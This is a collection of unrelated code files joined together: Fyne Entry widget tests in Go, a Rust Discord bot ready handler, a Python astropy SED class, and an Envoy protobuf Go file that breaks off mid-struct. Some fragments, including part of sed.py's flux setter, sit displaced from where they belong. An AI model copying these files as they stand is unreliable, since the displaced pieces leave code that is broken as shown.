typeKeys(entry, keyShiftRightDown, fyne.KeyReturn, keyShiftRightUp) assert.Equal(t, "d", entry.Text) assert.Equal(t, "d", submission) }) t.Run("MultiLine_ShiftReturn", func(t *testing.T) { entry.MultiLine = true entry.SetText("e") typeKeys(entry, keyShiftLeftDown, fyne.KeyReturn, keyShiftLeftUp) assert.Equal(t, "e", entry.Text) assert.Equal(t, "e", submission) entry.SetText("f") typeKeys(entry, keyShiftRightDown, fyne.KeyReturn, keyShiftRightUp) assert.Equal(t, "f", entry.Text) assert.Equal(t, "f", submission) }) }) t.Run("NoCallback", func(t *testing.T) { entry := &widget.Entry{} t.Run("SingleLine_Enter", func(t *testing.T) { entry.MultiLine = false entry.SetText("a") entry.TypedKey(&fyne.KeyEvent{Name: fyne.KeyEnter}) assert.Equal(t, "a", entry.Text) }) t.Run("SingleLine_Return", func(t *testing.T) { entry.MultiLine = false entry.SetText("b") entry.TypedKey(&fyne.KeyEvent{Name: fyne.KeyReturn}) assert.Equal(t, "b", entry.Text) }) t.Run("MultiLine_ShiftEnter", func(t *testing.T) { entry.MultiLine = true entry.SetText("c") typeKeys(entry, keyShiftLeftDown, fyne.KeyReturn, keyShiftLeftUp) assert.Equal(t, "\nc", entry.Text) entry.SetText("d") typeKeys(entry, keyShiftRightDown, fyne.KeyReturn, keyShiftRightUp) assert.Equal(t, "\nd", entry.Text) }) t.Run("MultiLine_ShiftReturn", func(t *testing.T) { entry.MultiLine = true entry.SetText("e") typeKeys(entry, keyShiftLeftDown, fyne.KeyReturn, keyShiftLeftUp) assert.Equal(t, "\ne", entry.Text) entry.SetText("f") typeKeys(entry, keyShiftRightDown, fyne.KeyReturn, keyShiftRightUp) assert.Equal(t, "\nf", entry.Text) }) }) } func TestTabable(t *testing.T) { entry := &widget.Entry{} t.Run("Multiline_Tab_Default", func(t *testing.T) { entry.MultiLine = true entry.SetText("a") typeKeys(entry, fyne.KeyTab) assert.Equal(t, "\ta", entry.Text) }) t.Run("Singleline_Tab_Default", func(t *testing.T) { entry.MultiLine = false assert.False(t, entry.AcceptsTab()) }) } func TestEntry_Tapped(t *testing.T) { entry, window := setupImageTest(t, true) defer teardownImageTest(window) c := window.Canvas() entry.SetText("MMM\nWWW\n") test.AssertRendersToMarkup(t, "entry/tapped_initial.xml", c) entry.FocusGained() test.AssertRendersToMarkup(t, "entry/tapped_focused.xml", c) testCharSize := theme.TextSize() pos := fyne.NewPos(entryOffset+theme.Padding()+testCharSize*1.5, entryOffset+theme.Padding()+testCharSize/2) // tap in the middle of the 2nd "M" test.TapCanvas(window.Canvas(), pos) test.AssertRendersToMarkup(t, "entry/tapped_tapped_2nd_m.xml", c) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 1, entry.CursorColumn) pos = fyne.NewPos(entryOffset+theme.Padding()+testCharSize*2.5, entryOffset+theme.Padding()+testCharSize/2) // tap in the middle of the 3rd "M" test.TapCanvas(window.Canvas(), pos) test.AssertRendersToMarkup(t, "entry/tapped_tapped_3rd_m.xml", c) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 2, entry.CursorColumn) pos = fyne.NewPos(entryOffset+theme.Padding()+testCharSize*4, entryOffset+theme.Padding()+testCharSize/2) // tap after text test.TapCanvas(window.Canvas(), pos) test.AssertRendersToMarkup(t, "entry/tapped_tapped_after_last_col.xml", c) assert.Equal(t, 0, entry.CursorRow) assert.Equal(t, 3, entry.CursorColumn) pos = fyne.NewPos(entryOffset+testCharSize, entryOffset+testCharSize*4) // tap below rows test.TapCanvas(window.Canvas(), pos) test.AssertRendersToMarkup(t, "entry/tapped_tapped_after_last_row.xml", c) assert.Equal(t, 2, entry.CursorRow) assert.Equal(t, 0, entry.CursorColumn) } func TestEntry_TappedSecondary(t *testing.T) { entry, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() tapPos := fyne.NewPos(20, 10) test.TapSecondaryAt(entry, tapPos) test.AssertRendersToMarkup(t, "entry/tapped_secondary_full_menu.xml", c) assert.Equal(t, 1, len(c.Overlays().List())) c.Overlays().Remove(c.Overlays().Top()) entry.Disable() test.TapSecondaryAt(entry, tapPos) test.AssertRendersToMarkup(t, "entry/tapped_secondary_read_menu.xml", c) assert.Equal(t, 1, len(c.Overlays().List())) c.Overlays().Remove(c.Overlays().Top()) entry.Password = true entry.Refresh() test.TapSecondaryAt(entry, tapPos) test.AssertRendersToMarkup(t, "entry/tapped_secondary_no_password_menu.xml", c) assert.Nil(t, c.Overlays().Top(), "No popup for disabled password") entry.Enable() test.TapSecondaryAt(entry, tapPos) test.AssertRendersToMarkup(t, "entry/tapped_secondary_password_menu.xml", c) assert.Equal(t, 1, len(c.Overlays().List())) } func TestEntry_TextWrap(t *testing.T) { for name, tt := range map[string]struct { multiLine bool want string wrap fyne.TextWrap }{ "single line WrapOff": { want: "entry/wrap_single_line_off.xml", }, "single line Truncate": { wrap: fyne.TextTruncate, want: "entry/wrap_single_line_truncate.xml", }, // Disallowed - fallback to TextWrapTruncate (horizontal) "single line WrapBreak": { wrap: fyne.TextWrapBreak, want: "entry/wrap_single_line_truncate.xml", }, // Disallowed - fallback to TextWrapTruncate (horizontal) "single line WrapWord": { wrap: fyne.TextWrapWord, want: "entry/wrap_single_line_truncate.xml", }, "multi line WrapOff": { multiLine: true, want: "entry/wrap_multi_line_off.xml", }, // Disallowed - fallback to TextWrapOff "multi line Truncate": { multiLine: true, wrap: fyne.TextTruncate, want: "entry/wrap_multi_line_truncate.xml", }, "multi line WrapBreak": { multiLine: true, wrap: fyne.TextWrapBreak, want: "entry/wrap_multi_line_wrap_break.xml", }, "multi line WrapWord": { multiLine: true, wrap: fyne.TextWrapWord, want: "entry/wrap_multi_line_wrap_word.xml", }, } { t.Run(name, func(t *testing.T) { e, window := setupImageTest(t, tt.multiLine) defer teardownImageTest(window) c := window.Canvas() c.Focus(e) e.Wrapping = tt.wrap if tt.multiLine { e.SetText("A long text on short words w/o NLs or LFs.") } else { e.SetText("Testing Wrapping") } test.AssertRendersToMarkup(t, tt.want, c) }) } } func TestEntry_TextWrap_Changed(t *testing.T) { e, window := setupImageTest(t, false) defer teardownImageTest(window) c := window.Canvas() c.Focus(e) e.Wrapping = fyne.TextWrapOff e.SetText("Testing Wrapping") test.AssertRendersToMarkup(t, "entry/wrap_single_line_off.xml", c) e.Wrapping = fyne.TextTruncate e.Refresh() test.AssertRendersToMarkup(t, "entry/wrap_single_line_truncate.xml", c) e.Wrapping = fyne.TextWrapOff e.Refresh() test.AssertRendersToMarkup(t, "entry/wrap_single_line_off.xml", c) } func TestMultiLineEntry_MinSize(t *testing.T) { entry := widget.NewEntry() singleMin := entry.MinSize() multi := widget.NewMultiLineEntry() multiMin := multi.MinSize() assert.Equal(t, singleMin.Width, multiMin.Width) assert.True(t, multiMin.Height > singleMin.Height) multi.MultiLine = false multiMin = multi.MinSize() assert.Equal(t, singleMin.Height, multiMin.Height) } func TestNewEntryWithData(t *testing.T) { str := binding.NewString() err := str.Set("Init") assert.Nil(t, err) entry := widget.NewEntryWithData(str) waitForBinding() assert.Equal(t, "Init", entry.Text) entry.SetText("Typed") v, err := str.Get() assert.Nil(t, err) assert.Equal(t, "Typed", v) } func TestPasswordEntry_ActionItemSizeAndPlacement(t *testing.T) { e := widget.NewEntry() b := widget.NewButton("", func() {}) b.Icon = theme.CancelIcon() e.ActionItem = b test.WidgetRenderer(e).Layout(e.MinSize()) assert.Equal(t, fyne.NewSize(theme.IconInlineSize(), theme.IconInlineSize()), b.Size()) assert.Equal(t, fyne.NewPos(e.MinSize().Width-2*theme.Padding()-b.Size().Width, 2*theme.Padding()), b.Position()) } func TestPasswordEntry_NewlineIgnored(t *testing.T) { entry := widget.NewPasswordEntry() entry.SetText("test") checkNewlineIgnored(t, entry) } func TestPasswordEntry_Obfuscation(t *testing.T) { entry, window := setupPasswordTest(t) defer teardownImageTest(window) c := window.Canvas() test.Type(entry, "Hié™שרה") assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/obfuscation_typed.xml", c) } func TestPasswordEntry_Placeholder(t *testing.T) { entry, window := setupPasswordTest(t) defer teardownImageTest(window) c := window.Canvas() entry.SetPlaceHolder("Password") test.AssertRendersToMarkup(t, "password_entry/placeholder_initial.xml", c) test.Type(entry, "Hié™שרה") assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/placeholder_typed.xml", c) } func TestPasswordEntry_Reveal(t *testing.T) { test.NewApp() defer test.NewApp() t.Run("NewPasswordEntry constructor", func(t *testing.T) { entry := widget.NewPasswordEntry() window := test.NewWindow(entry) defer window.Close() window.Resize(fyne.NewSize(150, 100)) entry.Resize(entry.MinSize().Max(fyne.NewSize(130, 0))) entry.Move(fyne.NewPos(10, 10)) c := window.Canvas() test.AssertRendersToMarkup(t, "password_entry/initial.xml", c) c.Focus(entry) test.Type(entry, "Hié™שרה") assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/concealed.xml", c) // update the Password field entry.Password = false entry.Refresh() assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/revealed.xml", c) assert.Equal(t, entry, c.Focused()) // update the Password field entry.Password = true entry.Refresh() assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/concealed.xml", c) assert.Equal(t, entry, c.Focused()) // tap on action icon tapPos := fyne.NewPos(140-theme.Padding()*2-theme.IconInlineSize()/2, 10+entry.Size().Height/2) test.TapCanvas(c, tapPos) assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/revealed.xml", c) assert.Equal(t, entry, c.Focused()) // tap on action icon test.TapCanvas(c, tapPos) assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/concealed.xml", c) assert.Equal(t, entry, c.Focused()) }) // This test cover backward compatibility use case when on an Entry widget // the Password field is set to true. // In this case the action item will be set when the renderer is created. t.Run("Entry with Password field", func(t *testing.T) { entry := &widget.Entry{Password: true, Wrapping: fyne.TextWrapWord} entry.Refresh() window := test.NewWindow(entry) defer window.Close() window.Resize(fyne.NewSize(150, 100)) entry.Resize(entry.MinSize().Max(fyne.NewSize(130, 0))) entry.Move(fyne.NewPos(10, 10)) c := window.Canvas() test.AssertRendersToMarkup(t, "password_entry/initial.xml", c) c.Focus(entry) test.Type(entry, "Hié™שרה") assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/concealed.xml", c) // update the Password field entry.Password = false entry.Refresh() assert.Equal(t, "Hié™שרה", entry.Text) test.AssertRendersToMarkup(t, "password_entry/revealed.xml", c) assert.Equal(t, entry, c.Focused()) }) } func TestSingleLineEntry_NewlineIgnored(t *testing.T) { entry := &widget.Entry{MultiLine: false} entry.SetText("test") checkNewlineIgnored(t, entry) } const ( entryOffset = 10 keyShiftLeftDown fyne.KeyName = "LeftShiftDown" keyShiftLeftUp fyne.KeyName = "LeftShiftUp" keyShiftRightDown fyne.KeyName = "RightShiftDown" keyShiftRightUp fyne.KeyName = "RightShiftUp" ) var typeKeys = func(e *widget.Entry, keys ...fyne.KeyName) { var keyDown = func(key *fyne.KeyEvent) { e.KeyDown(key) e.TypedKey(key) } for _, key := range keys { switch key { case keyShiftLeftDown: keyDown(&fyne.KeyEvent{Name: desktop.KeyShiftLeft}) case keyShiftLeftUp: e.KeyUp(&fyne.KeyEvent{Name: desktop.KeyShiftLeft}) case keyShiftRightDown: keyDown(&fyne.KeyEvent{Name: desktop.KeyShiftRight}) case keyShiftRightUp: e.KeyUp(&fyne.KeyEvent{Name: desktop.KeyShiftRight}) default: keyDown(&fyne.KeyEvent{Name: key}) e.KeyUp(&fyne.KeyEvent{Name: key}) } } } func checkNewlineIgnored(t *testing.T, entry *widget.Entry) { assert.Equal(t, 0, entry.CursorRow) // only 1 line, do nothing down := &fyne.KeyEvent{Name: fyne.KeyDown} entry.TypedKey(down) assert.Equal(t, 0, entry.CursorRow) // return is ignored, do nothing ret := &fyne.KeyEvent{Name: fyne.KeyReturn} entry.TypedKey(ret) assert.Equal(t, 0, entry.CursorRow) up := &fyne.KeyEvent{Name: fyne.KeyUp} entry.TypedKey(up) assert.Equal(t, 0, entry.CursorRow) // don't go beyond top entry.TypedKey(up) assert.Equal(t, 0, entry.CursorRow) } func setupImageTest(t *testing.T, multiLine bool) (*widget.Entry, fyne.Window) { test.NewApp() var entry *widget.Entry if multiLine { entry = &widget.Entry{MultiLine: true, Wrapping: fyne.TextWrapWord} } else { entry = &widget.Entry{Wrapping: fyne.TextWrapOff} } w := test.NewWindow(entry) w.Resize(fyne.NewSize(150, 200)) if multiLine { entry.Resize(fyne.NewSize(120, 100)) } else { entry.Resize(entry.MinSize().Max(fyne.NewSize(120, 0))) } entry.Move(fyne.NewPos(10, 10)) if multiLine { test.AssertRendersToMarkup(t, "entry/initial_multiline.xml", w.Canvas()) } else { test.AssertRendersToMarkup(t, "entry/initial.xml", w.Canvas()) } return entry, w } func setupPasswordTest(t *testing.T) (*widget.Entry, fyne.Window) { test.NewApp() entry := widget.NewPasswordEntry() w := test.NewWindow(entry) w.Resize(fyne.NewSize(150, 100)) entry.Resize(entry.MinSize().Max(fyne.NewSize(130, 0))) entry.Move(fyne.NewPos(entryOffset, entryOffset)) test.AssertRendersToMarkup(t, "password_entry/initial.xml", w.Canvas()) return entry, w } // Selects "sti" on line 2 of a new multiline // T e s t i n g // T e[s t i]n g // T e s t i n g func setupSelection(t *testing.T, reverse bool) (*widget.Entry, fyne.Window) { e, window := setupImageTest(t, true) e.SetText("Testing\nTesting\nTesting") c := window.Canvas() c.Focus(e) if reverse { e.CursorRow = 1 e.CursorColumn = 5 typeKeys(e, keyShiftLeftDown, fyne.KeyLeft, fyne.KeyLeft, fyne.KeyLeft) test.AssertRendersToMarkup(t, "entry/selection_initial_reverse.xml", c) assert.Equal(t, "sti", e.SelectedText()) } else { e.CursorRow = 1 e.CursorColumn = 2 typeKeys(e, keyShiftLeftDown, fyne.KeyRight, fyne.KeyRight, fyne.KeyRight) test.AssertRendersToMarkup(t, "entry/selection_initial.xml", c) assert.Equal(t, "sti", e.SelectedText()) } return e, window } func teardownImageTest(w fyne.Window) { w.Close() test.NewApp() } func waitForBinding() { time.Sleep(time.Millisecond * 100) // data resolves on background thread }
t *testing.T) { entry,
ready.rs
use crate::config::{Config, KEY_PREFIX}; use serenity::client::Context; use serenity::model::gateway::{Activity, Ready}; use serenity::model::user::OnlineStatus::Online; pub async fn ready(ctx: Context, ready: Ready)
{ println!("{} is connected!", ready.user.name); let command: String; { let reader = ctx.data.read().await; let config = reader.get::<Config>().expect("Expected Config to exist in context data").clone(); let cfg = config.read().unwrap(); let prefix = cfg.get(KEY_PREFIX).unwrap(); command = format!("{}help", prefix); } ctx.set_presence(Some(Activity::listening(command)), Online).await; }
sed.py
from __future__ import print_function, division import os import numpy as np from astropy import log from astropy.io import fits from astropy.table import Table from scipy.interpolate import interp1d from astropy import units as u from ..utils.validator import validate_array from .helpers import parse_unit_safe, assert_allclose_quantity, convert_flux __all__ = ['SED'] class SED(object): def __init__(self): # Metadata self.name = None self.distance = None # Spectral info self.wav = None self.nu = None # Apertures self.apertures = None # Fluxes self.flux = None self.error = None def __eq__(self, other): try: assert self.name == other.name assert_allclose_quantity(self.distance, other.distance) assert_allclose_quantity(self.wav, other.wav) assert_allclose_quantity(self.nu, other.nu) assert_allclose_quantity(self.apertures, other.apertures) assert_allclose_quantity(self.flux, other.flux) assert_allclose_quantity(self.error, other.error) except AssertionError: raise return False else: return True def copy(self): from copy import deepcopy return deepcopy(self) def scale_to_distance(self, distance): """ Returns the SED scaled to distance `distance` Parameters ---------- distance : float The distance in cm Returns ------- sed : SED The SED, scaled to the new distance """ sed = self.copy() sed.distance = distance * u.cm sed.flux = sed.flux * (self.distance.to(u.cm) / sed.distance) ** 2 sed.error = sed.error * (self.distance.to(u.cm) / sed.distance) ** 2 return sed def scale_to_av(self, av, law): sed = self.copy() sed.flux = sed.flux * 10. ** (av * law(sed.wav)) sed.error = sed.error * 10. ** (av * law(sed.wav)) return sed @property def wav(self): """ The wavelengths at which the SED is defined """ if self._wav is None and self._nu is not None: return self._nu.to(u.micron, equivalencies=u.spectral()) else: return self._wav @wav.setter def wav(self, value): if value is None: self._wav = None else: self._wav = validate_array('wav', value, domain='positive', ndim=1, shape=None if self.nu is None else (len(self.nu),), physical_type='length') @property def nu(self): """ The frequencies at which the SED is defined """ if self._nu is None and self._wav is not None: return self._wav.to(u.Hz, equivalencies=u.spectral()) else: return self._nu @nu.setter def nu(self, value): if value is None: self._nu = None else: self._nu = validate_array('nu', value, domain='positive', ndim=1, shape=None if self.wav is None else (len(self.wav),), physical_type='frequency') @property def apertures(self): """ The apertures at which the SED is defined """ return self._apertures @apertures.setter def apertures(self, value): if value is None: self._apertures = None else: self._apertures = validate_array('apertures', value, domain='positive', ndim=1, physical_type='length') @property def flux(self): """ The SED fluxes """ return self._flux @flux.setter def flux(self, value):
else: self._flux = validate_array('flux', value, ndim=2, shape=(self.n_ap, self.n_wav), physical_type=('power', 'flux', 'spectral flux density')) @property def error(self): """ The convolved flux errors """ return self._error @error.setter def error(self, value): if value is None: self._error = value else: self._error = validate_array('error', value, ndim=2, shape=(self.n_ap, self.n_wav), physical_type=('power', 'flux', 'spectral flux density')) @property def n_ap(self): if self.apertures is None: return 1 else: return len(self.apertures) @property def n_wav(self): if self.wav is None: return None else: return len(self.wav) @classmethod def read(cls, filename, unit_wav=u.micron, unit_freq=u.Hz, unit_flux=u.erg / u.cm ** 2 / u.s, order='nu'): """ Read an SED from a FITS file. Parameters ---------- filename: str The name of the file to read the SED from. unit_wav: `~astropy.units.Unit`, optional The units to convert the wavelengths to. unit_freq: `~astropy.units.Unit`, optional The units to convert the frequency to. unit_flux: `~astropy.units.Unit`, optional The units to convert the flux to. order: str, optional Whether to sort the SED by increasing wavelength (`wav`) or frequency ('nu'). """ # Instantiate SED class sed = cls() # Assume that the filename may be missing the .gz extension if not os.path.exists(filename) and os.path.exists(filename + '.gz'): filename += ".gz" # Open FILE file hdulist = fits.open(filename, memmap=False) # Extract model name sed.name = hdulist[0].header['MODEL'] # Check if distance is specified in header, otherwise assume 1kpc if 'DISTANCE' in hdulist[0].header: sed.distance = hdulist[0].header['DISTANCE'] * u.cm else: log.debug("No distance found in SED file, assuming 1kpc") sed.distance = 1. * u.kpc # Extract SED values wav = hdulist[1].data.field('WAVELENGTH') * parse_unit_safe(hdulist[1].columns[0].unit) nu = hdulist[1].data.field('FREQUENCY') * parse_unit_safe(hdulist[1].columns[1].unit) ap = hdulist[2].data.field('APERTURE') * parse_unit_safe(hdulist[2].columns[0].unit) flux = hdulist[3].data.field('TOTAL_FLUX') * parse_unit_safe(hdulist[3].columns[0].unit) error = hdulist[3].data.field('TOTAL_FLUX_ERR') * parse_unit_safe(hdulist[3].columns[1].unit) # Set SED attributes sed.apertures = ap # Convert wavelength and frequencies to requested units sed.wav = wav.to(unit_wav) sed.nu = nu.to(unit_freq) # Set fluxes sed.flux = convert_flux(nu, flux, unit_flux, distance=sed.distance) sed.error = convert_flux(nu, error, unit_flux, distance=sed.distance) # Sort SED if order not in ('nu', 'wav'): raise ValueError('order should be nu or wav') if (order == 'nu' and sed.nu[0] > sed.nu[-1]) or \ (order == 'wav' and sed.wav[0] > sed.wav[-1]): sed.wav = sed.wav[::-1] sed.nu = sed.nu[::-1] sed.flux = sed.flux[..., ::-1] sed.error = sed.error[..., ::-1] return sed def write(self, filename, overwrite=False): """ Write an SED to a FITS file. Parameters ---------- filename: str The name of the file to write the SED to. """ # Create first HDU with meta-data hdu0 = fits.PrimaryHDU() if self.name is None: raise ValueError("Model name is not set") else: hdu0.header['MODEL'] = self.name if self.distance is None: raise ValueError("Model distance is not set") else: hdu0.header['DISTANCE'] = self.distance.to(u.cm).value hdu0.header['NAP'] = self.n_ap hdu0.header['NWAV'] = self.n_wav # Create wavelength table twav = Table() if self.wav is None: raise ValueError("Wavelengths are not set") else: twav['WAVELENGTH'] = self.wav if self.nu is None: raise ValueError("Frequencies are not set") else: twav['FREQUENCY'] = self.nu twav.sort('FREQUENCY') # TODO: here sorting needs to be applied to fluxes too? hdu1 = fits.BinTableHDU(np.array(twav)) hdu1.columns[0].unit = self.wav.unit.to_string(format='fits') hdu1.columns[1].unit = self.nu.unit.to_string(format='fits') hdu1.header['EXTNAME'] = "WAVELENGTHS" # Create aperture table tap = Table() if self.apertures is None: tap['APERTURE'] = [1.e-30] else: tap['APERTURE'] = self.apertures hdu2 = fits.BinTableHDU(np.array(tap)) if self.apertures is None: hdu2.columns[0].unit = 'cm' else: hdu2.columns[0].unit = self.apertures.unit.to_string(format='fits') hdu2.header['EXTNAME'] = "APERTURES" # Create flux table tflux = Table() tflux['TOTAL_FLUX'] = self.flux if self.flux is None: raise ValueError("Fluxes are not set") else: tflux['TOTAL_FLUX'] = self.flux if self.error is None: raise ValueError("Errors are not set") else: tflux['TOTAL_FLUX_ERR'] = self.error hdu3 = fits.BinTableHDU(np.array(tflux)) hdu3.columns[0].unit = self.flux.unit.to_string(format='fits') hdu3.columns[1].unit = self.error.unit.to_string(format='fits') hdu3.header['EXTNAME'] = "SEDS" hdus = [hdu0, hdu1, hdu2, hdu3] # Create overall FITS file hdulist = fits.HDUList(hdus) hdulist.writeto(filename, clobber=overwrite) def interpolate(self, apertures): """ Interpolate the SED to different apertures """ # If there is only one aperture, we can't interpolate, we can only repeat if self.n_ap == 1: return np.repeat(self.flux[0, :], len(apertures)).reshape(self.n_wav, len(apertures)) # Create interpolating function flux_interp = interp1d(self.apertures, self.flux.swapaxes(0, 1)) # If any apertures are larger than the defined max, reset to max apertures[apertures > self.apertures.max()] = self.apertures.max() # If any apertures are smaller than the defined min, raise Exception if np.any(apertures < self.apertures.min()): raise Exception("Aperture(s) requested too small") return flux_interp(apertures) def interpolate_variable(self, wavelengths, apertures): """ Interpolate the SED to a variable aperture as a function of wavelength. This method should be called with an interpolating function for aperture as a function of wavelength, in log10 space. """ if self.n_ap == 1: return self.flux[0, :] sed_apertures = self.apertures.to(u.au).value sed_wav = self.wav.to(u.micron).value # If any apertures are larger than the defined max, reset to max apertures[apertures > sed_apertures.max()] = sed_apertures.max() * 0.999 # If any apertures are smaller than the defined min, raise Exception if np.any(apertures < sed_apertures.min()): raise Exception("Aperture(s) requested too small") # Find wavelength order order = np.argsort(wavelengths) # Interpolate apertures vs wavelength log10_ap_interp = interp1d(np.log10(wavelengths[order]), np.log10(apertures[order]), bounds_error=False, fill_value=np.nan) # Create interpolating function flux_interp = interp1d(sed_apertures, self.flux.swapaxes(0, 1)) # Interpolate the apertures apertures = 10. ** log10_ap_interp(np.log10(sed_wav)) # Extrapolate on either side apertures[np.log10(sed_wav) < log10_ap_interp.x[0]] = 10. ** log10_ap_interp.y[0] apertures[np.log10(sed_wav) > log10_ap_interp.x[-1]] = 10. ** log10_ap_interp.y[-1] # Interpolate and return only diagonal elements return flux_interp(apertures).diagonal()
if value is None: self._flux = value
attribute_context.pb.go
// Code generated by protoc-gen-go. DO NOT EDIT. // source: envoy/service/auth/v3alpha/attribute_context.proto package envoy_service_auth_v3alpha import ( fmt "fmt" _ "github.com/cncf/udpa/go/udpa/annotations" v3alpha "github.com/envoyproxy/go-control-plane/envoy/config/core/v3alpha" proto "github.com/golang/protobuf/proto" timestamp "github.com/golang/protobuf/ptypes/timestamp" math "math" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package type AttributeContext struct { Source *AttributeContext_Peer `protobuf:"bytes,1,opt,name=source,proto3" json:"source,omitempty"` Destination *AttributeContext_Peer `protobuf:"bytes,2,opt,name=destination,proto3" json:"destination,omitempty"` Request *AttributeContext_Request `protobuf:"bytes,4,opt,name=request,proto3" json:"request,omitempty"` ContextExtensions map[string]string `protobuf:"bytes,10,rep,name=context_extensions,json=contextExtensions,proto3" json:"context_extensions,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` MetadataContext *v3alpha.Metadata `protobuf:"bytes,11,opt,name=metadata_context,json=metadataContext,proto3" json:"metadata_context,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *AttributeContext) Reset() { *m = AttributeContext{} } func (m *AttributeContext) String() string { return proto.CompactTextString(m) } func (*AttributeContext) ProtoMessage() {} func (*AttributeContext) Descriptor() ([]byte, []int) { return fileDescriptor_000310fa99e78275, []int{0} } func (m *AttributeContext) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_AttributeContext.Unmarshal(m, b) } func (m *AttributeContext) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_AttributeContext.Marshal(b, m, deterministic) } func (m *AttributeContext) XXX_Merge(src proto.Message) { xxx_messageInfo_AttributeContext.Merge(m, src) } func (m *AttributeContext) XXX_Size() int { return xxx_messageInfo_AttributeContext.Size(m) } func (m *AttributeContext) XXX_DiscardUnknown() { xxx_messageInfo_AttributeContext.DiscardUnknown(m) } var xxx_messageInfo_AttributeContext proto.InternalMessageInfo func (m *AttributeContext) GetSource() *AttributeContext_Peer { if m != nil { return m.Source } return nil } func (m *AttributeContext) GetDestination() *AttributeContext_Peer { if m != nil { return m.Destination } return nil } func (m *AttributeContext) GetRequest() *AttributeContext_Request { if m != nil { return m.Request } return nil } func (m *AttributeContext) GetContextExtensions() map[string]string { if m != nil { return m.ContextExtensions } return nil } func (m *AttributeContext) GetMetadataContext() *v3alpha.Metadata { if m != nil { return m.MetadataContext } return nil } type AttributeContext_Peer struct { Address *v3alpha.Address `protobuf:"bytes,1,opt,name=address,proto3" json:"address,omitempty"` Service string `protobuf:"bytes,2,opt,name=service,proto3" json:"service,omitempty"` Labels map[string]string `protobuf:"bytes,3,rep,name=labels,proto3" json:"labels,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` Principal string `protobuf:"bytes,4,opt,name=principal,proto3" json:"principal,omitempty"` Certificate string `protobuf:"bytes,5,opt,name=certificate,proto3" json:"certificate,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *AttributeContext_Peer) Reset() { *m = AttributeContext_Peer{} } func (m *AttributeContext_Peer) String() string { return proto.CompactTextString(m) } func (*AttributeContext_Peer) ProtoMessage() {} func (*AttributeContext_Peer) Descriptor() ([]byte, []int) { return fileDescriptor_000310fa99e78275, []int{0, 0} } func (m *AttributeContext_Peer) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_AttributeContext_Peer.Unmarshal(m, b) } func (m *AttributeContext_Peer) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_AttributeContext_Peer.Marshal(b, m, deterministic) } func (m *AttributeContext_Peer) XXX_Merge(src proto.Message) { xxx_messageInfo_AttributeContext_Peer.Merge(m, src) } func (m *AttributeContext_Peer) XXX_Size() int { return xxx_messageInfo_AttributeContext_Peer.Size(m) } func (m *AttributeContext_Peer) XXX_DiscardUnknown() { xxx_messageInfo_AttributeContext_Peer.DiscardUnknown(m) } var xxx_messageInfo_AttributeContext_Peer proto.InternalMessageInfo func (m *AttributeContext_Peer) GetAddress() *v3alpha.Address { if m != nil { return m.Address } return nil } func (m *AttributeContext_Peer) GetService() string { if m != nil { return m.Service } return "" } func (m *AttributeContext_Peer) GetLabels() map[string]string { if m != nil { return m.Labels } return nil } func (m *AttributeContext_Peer) GetPrincipal() string { if m != nil { return m.Principal } return "" } func (m *AttributeContext_Peer) GetCertificate() string { if m != nil { return m.Certificate } return "" } type AttributeContext_Request struct { Time *timestamp.Timestamp `protobuf:"bytes,1,opt,name=time,proto3" json:"time,omitempty"` Http *AttributeContext_HttpRequest `protobuf:"bytes,2,opt,name=http,proto3" json:"http,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *AttributeContext_Request) Reset() { *m = AttributeContext_Request{} } func (m *AttributeContext_Request) String() string { return proto.CompactTextString(m) } func (*AttributeContext_Request) ProtoMessage() {} func (*AttributeContext_Request) Descriptor() ([]byte, []int) { return fileDescriptor_000310fa99e78275, []int{0, 1} } func (m *AttributeContext_Request) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_AttributeContext_Request.Unmarshal(m, b) } func (m *AttributeContext_Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_AttributeContext_Request.Marshal(b, m, deterministic) } func (m *AttributeContext_Request) XXX_Merge(src proto.Message) { xxx_messageInfo_AttributeContext_Request.Merge(m, src) } func (m *AttributeContext_Request) XXX_Size() int { return xxx_messageInfo_AttributeContext_Request.Size(m) } func (m *AttributeContext_Request) XXX_DiscardUnknown() { xxx_messageInfo_AttributeContext_Request.DiscardUnknown(m) } var xxx_messageInfo_AttributeContext_Request proto.InternalMessageInfo func (m *AttributeContext_Request) GetTime() *timestamp.Timestamp { if m != nil { return m.Time } return nil } func (m *AttributeContext_Request) GetHttp() *AttributeContext_HttpRequest { if m != nil { return m.Http } return nil } type AttributeContext_HttpRequest struct { Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` Method string 